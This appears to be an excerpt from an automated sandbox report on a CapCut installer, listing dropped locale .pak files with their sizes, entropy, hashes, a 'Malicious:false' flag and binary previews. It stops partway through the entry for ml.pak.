                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\fi.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):389118
                                                                                                                                                                                                                                                                        Entropy (8bit):5.427253181023048
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:nEbM+RtZ9eC6cMkohGZxGseSFOE/xaWEkLl5W5ucHiEi18OWUcrOShPGNgX1wL2:V+/upPgZxaS5W5xHiEi18OWUsU2
                                                                                                                                                                                                                                                                        MD5:D4B776267EFEBDCB279162C213F3DB22
                                                                                                                                                                                                                                                                        SHA1:7236108AF9E293C8341C17539AA3F0751000860A
                                                                                                                                                                                                                                                                        SHA-256:297E3647EAF9B3B95CF833D88239919E371E74CC345A2E48A5033EBE477CD54E
                                                                                                                                                                                                                                                                        SHA-512:1DC7D966D12E0104AACB300FD4E94A88587A347DB35AD2327A046EF833FB354FD9CBE31720B6476DB6C01CFCB90B4B98CE3CD995E816210B1438A13006624E8F
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.(...|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....|...........................................................$....._.....x.....z.....~.....................................................7.....E.....R.....f.....v.....|...........................................................".....,.....2.....Q.....j.................................................................&.....3.....H.....N.....V...............................................!.....-.....>.....O.....R.....`.....r.............................................................................9.............................,.....?.....h.....w...........................................................5.....X............................................. .....".....%.....(.3...*.S...+.V...,.t........./.....0.....1.....3.....4.....5.6...6.p...7.....8.....9.....;.....<.....=.....>.....?.#...@.B...A.z...C.....D.....E...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\fil.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):438088
                                                                                                                                                                                                                                                                        Entropy (8bit):5.195613019166525
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:2zHaVyEDQV5aZrU+5xeuhGjZ3ZmA58Pm+7JATvy8:2zNMdU4XA5Imb
                                                                                                                                                                                                                                                                        MD5:3165351C55E3408EAA7B661FA9DC8924
                                                                                                                                                                                                                                                                        SHA1:181BEE2A96D2F43D740B865F7E39A1BA06E2CA2B
                                                                                                                                                                                                                                                                        SHA-256:2630A9D5912C8EF023154C6A6FB5C56FAF610E1E960AF66ABEF533AF19B90CAA
                                                                                                                                                                                                                                                                        SHA-512:3B1944EA3CFCBE98D4CE390EA3A8FF1F6730EB8054E282869308EFE91A9DDCD118290568C1FC83BD80E8951C4E70A451E984C27B400F2BDE8053EA25B9620655
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........].h.....i.....j.....k.....l.....n.....o.....p.&...r.,...s.=...t.F...v.[...w.h...y.n...z.}...|.....}...........................................................................................5.....<.....E.....d.....l.....y...................................................../.....E.....O.....^.....................................................".....8.......................................................................%.....J.....d.....~.................................................................+.....h.....q.....}...................................&.....4.....I.....o.....r................................................................. .....*.....5.....>.....O.................(.....0.................................................................,.....R.....l.............................6.....=.....H.....Y............... .....".....%.....(.....*.....+.....,.*.....B.../.W...0.`...1.....3.....4.....5.....6.....7.3...8.O...9.d...;.}...<.....=.....>.....?.....@.....A...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\fr.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):454982
                                                                                                                                                                                                                                                                        Entropy (8bit):5.385096169417585
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:07bju28t6QuagV1ZztzYpZ4MYnYM/LDBW5Mx0q20wCbKZL3wfzkCh1f/5FEs6rYr:6JVzbf55Z
                                                                                                                                                                                                                                                                        MD5:0BF28AFF31E8887E27C4CD96D3069816
                                                                                                                                                                                                                                                                        SHA1:B5313CF6B5FBCE7E97E32727A3FAE58B0F2F5E97
                                                                                                                                                                                                                                                                        SHA-256:2E1D413442DEF9CAE2D93612E3FD04F3AFAF3DD61E4ED7F86400D320AF5500C2
                                                                                                                                                                                                                                                                        SHA-512:95172B3B1153B31FCEB4B53681635A881457723CD1000562463D2F24712267B209B3588C085B89C985476C82D9C27319CB6378619889379DA4FAE1595CB11992
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........>...h.....i.....j.....k.....l.....n.....o."...p./...r.5...s.F...t.O...v.d...w.q...y.w...z.....|.....}...........................................................................................1.....<.....E.....g.....s.....{.....................................................+.....<.....I.....W..............................................."...........j.......................................................................,.....M.....p.......................................................................T.....b.....l.........................................+.....:.....R.....U.....l...................................................................................[.......................$.....9.....N.................................................................X.........................................$.....E.....O... .[...".t...%.....(.....*.....+.....,.........../.#...0.1...1.n...3.....4.....5.....6.....7.....8.4...9.J...;.]...<.k...=.}...>.....?.....@.....A.....C.(...D.:.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\gu.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):879149
                                                                                                                                                                                                                                                                        Entropy (8bit):4.32399215971305
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:Xz2UMY57hmdUoITsKMaWZKerbtsMhmksd4M+0+z20QmuOAl5VpvoxWnhygfZw/gQ:D2UMY57h9w4MSbsp5cLhdKE8
                                                                                                                                                                                                                                                                        MD5:7B5F52F72D3A93F76337D5CF3168EBD1
                                                                                                                                                                                                                                                                        SHA1:00D444B5A7F73F566E98ABADF867E6BB27433091
                                                                                                                                                                                                                                                                        SHA-256:798EA5D88A57D1D78FA518BF35C5098CBEB1453D2CB02EF98CD26CF85D927707
                                                                                                                                                                                                                                                                        SHA-512:10C6F4FAAB8CCB930228C1D9302472D0752BE19AF068EC5917249675B40F22AB24C3E29EC3264062826113B966C401046CFF70D91E7E05D8AADCC0B4E07FEC9B
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........N...h.....i.....j.$...k.3...l.>...n.F...o.K...p.X...r.^...s.o...t.x...v.....w.....y.....z.....|.....}.............................................................................................................T.....l.................'.....).....5.....].......................4.....S.....i.............................l.................................................................'.....k.....t.....w.............................a.................;.....[.....n.....v.....}.......................+.....:.....f.......................X.....y...........].....s...................................6.....X.....w...............................................-.....L.....c....................... .....B.................Q.............................3.....?.....K.....}...................................o.............................3.....[... .a...".....%.....(.....*.g...+.j...,.........../.....0.....1.~...3.....4.....5.....6.[...7.....8.....9.....;.Q...<.h...=.....>.....?.....@.....A.D...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\he.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):544193
                                                                                                                                                                                                                                                                        Entropy (8bit):4.6265566170608325
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:DczykRrlOUmTU2/S9iyBZ60DAf1X2VeQCap4M52QoLpMzu5flmd9DnwWHQgZ:+F55VoQ
                                                                                                                                                                                                                                                                        MD5:6D787DC113ADFB6A539674AF7D6195DB
                                                                                                                                                                                                                                                                        SHA1:F966461049D54C61CDD1E48EF1EA0D3330177768
                                                                                                                                                                                                                                                                        SHA-256:A976FAD1CC4EB29709018C5FFCC310793A7CEB2E69C806454717CCAE9CBC4D21
                                                                                                                                                                                                                                                                        SHA-512:6748DAD2813FC544B50DDEA0481B5ACE3EB5055FB2D985CA357403D3B799618D051051B560C4151492928D6D40FCE9BB33B167217C020BDCC3ED4CAE58F6B676
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........)...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.%...v.:...w.G...y.M...z.\...|.b...}.t.....|.............................................................................2.....K.....^.....w.....................................................4.....O.....f.....y.............................%.....:....._.....r.....z...................................9.....A.....K.....g...............................................C.....m............................................... .....<.....d.....n...................................2.....}...................................!.....$.....7.....N.....a.....y................................................................._.........../.....9.............................".....:.....@.....L.....].....e.............................$....._............................................. .1...".L...%.}...(.....*.....+.....,.........../.....0.....1.W...3.l...4.....5.....6.....7.....8.1...9.E...;.Z...<.t...=.....>.....?.....@.....A.B...C.u.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\hi.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):921748
                                                                                                                                                                                                                                                                        Entropy (8bit):4.3093889077968495
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:zGFGsUtYgPLdROwJgdkFSvf4QAEm5dmGhsYK/GR3TX4/NMdpqdYnLsuFQdXPtg8y:zGEAgT/Zu5J57JtK
                                                                                                                                                                                                                                                                        MD5:1766A05BE4DC634B3321B5B8A142C671
                                                                                                                                                                                                                                                                        SHA1:B959BCADC3724AE28B5FE141F3B497F51D1E28CF
                                                                                                                                                                                                                                                                        SHA-256:0EEE8E751B5B0AF1E226106BEB09477634F9F80774FF30894C0F5A12B925AC35
                                                                                                                                                                                                                                                                        SHA-512:FAEC1D6166133674A56B5E38A68F9E235155CC910B5CCEB3985981B123CC29EDA4CD60B9313AB787EC0A8F73BF715299D9BF068E4D52B766A7AB8808BD146A39
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........"...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.,...w.9...y.?...z.N...|.T...}.f.....n.....s.....{.....................................................6.....X.....}.............................&.....@...................................%.....S.....y.......................&.............................Z.....j.....................................................2.....n.....w.....z.......................A.................).....o..............................................._.....n.................7.....T...............................................$.....n.....q............................./.....b.....i.....l.....n.........................................R...................................Z.....z...................................5.................q.................\...................................0... .K...".k...%.....(.....*.2...+.5...,.S........./.....0.....1.p...3.....4.....5.....6._...7.....8.....9.....;.^...<.r...=.....>.....?.....@.....A.;...C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\hr.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):423481
                                                                                                                                                                                                                                                                        Entropy (8bit):5.516218200944141
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:yL0fCmEZW/FhjNmvgVRTKBOS+/6ocIG0uPXuyAF6WI6DkYAiKbeM/ogQbn7xjemW:QYCmNLjN3pV5v5tE77ORS
                                                                                                                                                                                                                                                                        MD5:8F9498D18D90477AD24EA01A97370B08
                                                                                                                                                                                                                                                                        SHA1:3868791B549FC7369AB90CD27684F129EBD628BE
                                                                                                                                                                                                                                                                        SHA-256:846943F77A425F3885689DCF12D62951C5B7646E68EADC533B8B5C2A1373F02E
                                                                                                                                                                                                                                                                        SHA-512:3C66A84592DEBE522F26C48B55C04198AD8A16C0DCFA05816825656C76C1C6CCCF5767B009F20ECB77D5A589EE44B0A0011EC197FEC720168A6C72C71EBF77FD
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........h...h.2...i.C...j.O...k.^...l.i...n.q...o.v...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................%.....,.....-...........0.....Y.....e.....q.................................................................A.....T.....p.....x...........................................................".....*.....8.....G.....X.............................................................................%.....B.....c.......................................................................G.....U.....a.....w.............................................../.....2.....B.....S.....f.....|.................................................................(.....g.............................8.....l.....{.....................................................I.....h................................................... .....".0...%.U...(.r...*.....+.....,.........../.....0.....1.....3.)...4.F...5.d...6.....7.....8.....9.....;.....<.....=.....>.4...?.=...@.N...A.....C...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\hu.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):456789
                                                                                                                                                                                                                                                                        Entropy (8bit):5.643595706627357
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:SGAK2lkJ2gSSSfLOAYkky1MV5QgsZfGRAxY62R9PSam7EEOEeLvx5gR4RStG2r2/:pAKWkJ2gSsAkV5QgsiR4747vx5VL/
                                                                                                                                                                                                                                                                        MD5:F5E1CA8A14C75C6F62D4BFF34E27DDB5
                                                                                                                                                                                                                                                                        SHA1:7ABA6BFF18BDC4C477DA603184D74F054805C78F
                                                                                                                                                                                                                                                                        SHA-256:C0043D9FA0B841DA00EC1672D60015804D882D4765A62B6483F2294C3C5B83E0
                                                                                                                                                                                                                                                                        SHA-512:1050F96F4F79F681B3EAF4012EC0E287C5067B75BA7A2CBE89D9B380C07698099B156A0EB2CBC5B8AA336D2DAA98E457B089935B534C4D6636987E7E7E32B169
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........6...h.....i.....j.....k.....l.....n.....o.....p.....r.#...s.4...t.=...v.R...w._...y.e...z.t...|.z...}.....................................................................................2.....G.....W.....q.....................................................9.....X.....d.....}...............................................0.....5.....;.....N.....^.....s.....................................................-.....G.....d.....z.......................#.....?.....H.....P.....W.....].....l...............................................(.....Q.....x...........................................................;.....`.....u.....|...............................................1.......................b.....w...........................................................K.....l.......................5.....L.....T....._.....w............... .....".....%.....(.....*.8...+.;...,.Y.....j.../.....0.....1.....3.....4.....5.....6.P...7.k...8.....9.....;.....<.....=.....>.....?.....@.....A.0...C.U...D.b.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\id.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):373937
                                                                                                                                                                                                                                                                        Entropy (8bit):5.37852966615304
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:Fl9jv1p49ahfjDVnjHFsRmP28Wvr5PdhpvtEDSVsEaOq:FlLpblVnjHFCm+8Sr5Pdhzq
                                                                                                                                                                                                                                                                        MD5:7B39423028DA71B4E776429BB4F27122
                                                                                                                                                                                                                                                                        SHA1:CB052AB5F734D7A74A160594B25F8A71669C38F2
                                                                                                                                                                                                                                                                        SHA-256:3D95C5819F57A0AD06A118A07E0B5D821032EDCF622DF9B10A09DA9AA974885F
                                                                                                                                                                                                                                                                        SHA-512:E40679B01AB14B6C8DFDCE588F3B47BCAFF55DBB1539B343F611B3FCBD1D0E7D8C347A2B928215A629F97E5F68D19C51AF775EC27C6F906CAC131BEAE646CE1A
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........@...h.....i.....j.....k.....l.....n.!...o.&...p.3...r.9...s.J...t.S...v.h...w.u...y.{...z.....|.....}.................................................................................................5.....=.....T.....[.....e.......................................................................,.....J.....[.....h.............................................................................;.....?.....B.....G.....[.....j.....~.................................................................*.....F.....L.....a.........................................6.....H.....Q.....\.....r.........................................................................................!.....'.....3.....a.........................................C.....M.....Y.....`.....h.....o.....v.........................................>.....Q.....V.....\.....i............... .....".....%.....(.....*.....+.....,.#.....3.../.B...0.F...1.z...3.....4.....5.....6.....7.....8.....9.'...;.5...<.>...=.K...>.`...?.h...@.y...A...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\it.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):414412
                                                                                                                                                                                                                                                                        Entropy (8bit):5.287149423624235
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:8cPuDjrpxctogSrqRrhsO11RT9TeexAGTL6+q2WKLV9fLwY+25OM388HrmwGWNBI:8cmDZREZJy8KL1LjAS5ZzoC
                                                                                                                                                                                                                                                                        MD5:D58A43068BF847C7CD6284742C2F7823
                                                                                                                                                                                                                                                                        SHA1:497389765143FAC48AF2BD7F9A309BFE65F59ED9
                                                                                                                                                                                                                                                                        SHA-256:265D8B1BC479AD64FA7A41424C446139205AF8029A2469D558813EDD10727F9C
                                                                                                                                                                                                                                                                        SHA-512:547A1581DDA28C5C1A0231C736070D8A7B53A085A0CE643A4A1510C63A2D4670FF2632E9823CD25AE2C7CDC87FA65883E0A193853890D4415B38056CB730AB54
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........S...h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...r._...s.p...t.y...v.....w.....y.....z.....|.....}.........................................................................1.....D.....S.....l.....w.................................................................?.....F.....V.....d.....p.....}...............................................!.....7.....k.............................................................................O.....t.......................................................................>.....L.....Y.....v...........................................................3.....H.....[.....s.................................................................*.....u.............................,.....R.....Z.....n.....w...............................................3.....N............................................. .....".....%.....(.(...*.D...+.G...,.e.....v.../.....0.....1.....3.....4.....5.....6.}...7.....8.....9.....;.....<.....=.....>.....?.....@./...A.]...C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ja.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):505292
                                                                                                                                                                                                                                                                        Entropy (8bit):5.701779406023226
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:rO2YZ2QUgbjicTver049pUVOT6z4Z72hA/Na4oQPkwaIAOenOIUNH7bbeCcX5RWX:rOpZ2eH/IzSVKo4Z728owPS58HRxVX
                                                                                                                                                                                                                                                                        MD5:D10D536BCD183030BA07FF5C61BF5E3A
                                                                                                                                                                                                                                                                        SHA1:44DD78DBA9F098AC61222EB9647D111AD1608960
                                                                                                                                                                                                                                                                        SHA-256:2A3D3ABC9F80BAD52BD6DA5769901E7B9E9F052B6A58A7CC95CE16C86A3AA85A
                                                                                                                                                                                                                                                                        SHA-512:C67AEDE9DED1100093253E350D6137AB8B2A852BD84B6C82BA1853F792E053CECD0EA0519319498AED5759BEDC66D75516A4F2F7A07696A0CEF24D5F34EF9DD2
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..........y.h.....i.....j.....k.....l.....m.....o.....p.....v.....w.....y.....z.....|.....}.0.....8.....=.....E.....P.....X.....g.....l.....t.....{...............................................$.....*.....<.....d.....y...................................).....S.....t...............................................'.....H.....c.....i.....x.............................5.....;.....M.....k...............................................E.....u.....................................................+.....R.....^.............................Q.....~...............................................#.....8.....d...........................................................V...........,.....2...................................5.....>.....J.....P.....Y.....t.............................8............................................. .....".....%.I...(.....*.....+.....,.........../.....0.#...1.h...3.....4.....5.....6.....7.4...8.R...9.p...;.....<.....=.....>.....?.....@.....A.E...C.l...D.....E.....F.....G...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\kn.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1012272
                                                                                                                                                                                                                                                                        Entropy (8bit):4.2289205973296395
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:VxaK34cS7yFcH4dr/4g7M5iVUZ+xw+UFV:jf7/K5uUb
                                                                                                                                                                                                                                                                        MD5:C548A5F1FB5753408E44F3F011588594
                                                                                                                                                                                                                                                                        SHA1:E064AB403972036DAD1B35ABE9794E95DBE4CC00
                                                                                                                                                                                                                                                                        SHA-256:890F50A57B862F482D367713201E1E559AC778FC3A36322D1DFBBEF2535DD9CB
                                                                                                                                                                                                                                                                        SHA-512:6975E4BB1A90E0906CF6266F79DA6CC4AE32F72A6141943BCFCF9B33F791E9751A9AAFDE9CA537F33F6BA8E4D697125FBC2EC4FFD3BC35851F406567DAE7E631
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....=.................=.....}......................./.....A.............................:.......................&.....d.................-.....U.................6.....N.....j.................L.............................4.....C.....F.....d.................4.................e.........................................P.....o...............................................J...........,.....H.....v.................(.....+.....e.......................G.....................................................(...........V...................................H.....`.....................................................c.................e.......................0.....k......... .....".....%._...(.....*.....+.....,.......4.../.l...0.....1.....3.7...4.....5.....6.U...7.....8.....9.....;.O...<.l...=.....>.....?.....@.....A.....C.....D...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ko.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):425545
                                                                                                                                                                                                                                                                        Entropy (8bit):6.081959799252044
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:12288:4Y3l9B6CI1zt8OhrJRFJCqM5T718I8Mtmq7hUoBAA:aZJo5D8GAA
                                                                                                                                                                                                                                                                        MD5:B4FBFF56E4974A7283D564C6FC0365BE
                                                                                                                                                                                                                                                                        SHA1:DE68BD097DEF66D63D5FF04046F3357B7B0E23AC
                                                                                                                                                                                                                                                                        SHA-256:8C9ACDE13EDCD40D5B6EB38AD179CC27AA3677252A9CD47990EBA38AD42833E5
                                                                                                                                                                                                                                                                        SHA-512:0698AA058561BB5A8FE565BB0BEC21548E246DBB9D38F6010E9B0AD9DE0F59BCE9E98841033AD3122A163DD321EE4B11ED191277CDCB8E0B455D725593A88AA5
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:............h.z...i.....j.....k.....l.....m.....o.....p.....r.....s.....t.....y.....z.....|.....}.......$.....).....1.....<.....D.....S.....X....._.....f.....h.....m...........................................................e.....u.....w.....{...............................................'.....F.....S.....f.....z...............................................$.....*.....3.....F.....Y....._.....b.....h.........................................8.....O.....U.....].....d.....m.....z................................... .....-.....W.....t.........................................,...../.....<.....L.....Y.....r.....................................................".......................s.................................................................=.....T...................................!.....'.....=.....O.....\... ._...".i...%.....(.....*.....+.....,.+.....A.../.^...0.j...1.....3.....4.....5.....6.=...7.S...8.j...9.z...;.....<.....=.....>.....?.....@.....A.....C.6...D.F...E.g...F.~...G...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\lt.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):457220
                                                                                                                                                                                                                                                                        Entropy (8bit):5.634955727013476
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:Ca5OlSk7unX4nkokvgneIVUoCb1DD7U5R3zv9dFaL8tx9e2lJ2I96S2:Ca5Olrpgme2UoC9c59zv9fx9eoP6S2
                                                                                                                                                                                                                                                                        MD5:980C27FD74CC3560B296FE8E7C77D51F
                                                                                                                                                                                                                                                                        SHA1:F581EFA1B15261F654588E53E709A2692D8BB8A3
                                                                                                                                                                                                                                                                        SHA-256:41E0F3619CDA3B00ABBBF07B9CD64EC7E4785ED4C8A784C928E582C3B6B8B7DB
                                                                                                                                                                                                                                                                        SHA-512:51196F6F633667E849EF20532D57EC81C5F63BAB46555CEA8FAB2963A078ACDFA84843EDED85C3B30F49EF3CEB8BE9E4EF8237E214EF9ECFF6373A84D395B407
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........U...h.....i.....j.)...k.8...l.C...n.K...o.P...p.]...r.c...s.t...t.}...v.....w.....y.....z.....|.....}.........................................................................8.....F.....S.....g.....r.....................................................5.....T.....m.....v...............................................!.....6.....=.....F.....S.....a.....u.....................................................&.....<.....Z.....w.............................5.....>.....F.....M.....X.....j.....................................................-.....T.....m.....{.................................................................H.....O.....R.....S.....].....h.....o.....y.................).....x.............................G.....X.....v...............................................B.....d...............................................)... .>...".N...%.m...(.....*.....+.....,.........../.!...0.$...1.U...3.f...4.....5.....6.....7. ...8.@...9.T...;.b...<.s...=.....>.....?.....@.....A.....C.:.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\lv.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):455871
                                                                                                                                                                                                                                                                        Entropy (8bit):5.635474464056208
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:GOQDGtu4e+D8NHtVFHTPq7K4vHo4q3sb3755ZanXDEG9Aarl4zxmEA5QXls14:GOQUZ2Gu4vTqw75KEGGmEs14
                                                                                                                                                                                                                                                                        MD5:E4F7D9E385CB525E762ECE1AA243E818
                                                                                                                                                                                                                                                                        SHA1:689D784379BAC189742B74CD8700C687FEEEDED1
                                                                                                                                                                                                                                                                        SHA-256:523D141E59095DA71A41C14AEC8FE9EE667AE4B868E0477A46DD18A80B2007EF
                                                                                                                                                                                                                                                                        SHA-512:E4796134048CD12056D746F6B8F76D9EA743C61FEE5993167F607959F11FD3B496429C3E61ED5464551FD1931DE4878AB06F23A3788EE34BB56F53DB25BCB6DF
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........e...h.,...i.=...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....O.....b.....u.....................................................!.....%.....M.....].....s.....z...............................................!.....2.....8.....>.....Q.....e.....{...........................................................%.....7.....I.....g.....}...........................................................3.....7.....P.........................................+.....<.....O.....d.....v...........................................................".....#.....-.....8.....@.....G.....Y.................-.....8...................................%.....,.....;.....>.....I....._.............................#.....T.....i.....p.....y..................... .....".....%.....(.....*.....+.1...,.O.....r.../.....0.....1.....3.....4.....5.!...6.\...7.|...8.....9.....<.....=.....>.....?.....@.....A.9...C.X...D.e.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\ml.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1056673
                                                                                                                                                                                                                                                                        Entropy (8bit):4.264965642462621
                                                                                                                                                                                                                                                                        Encrypted:false
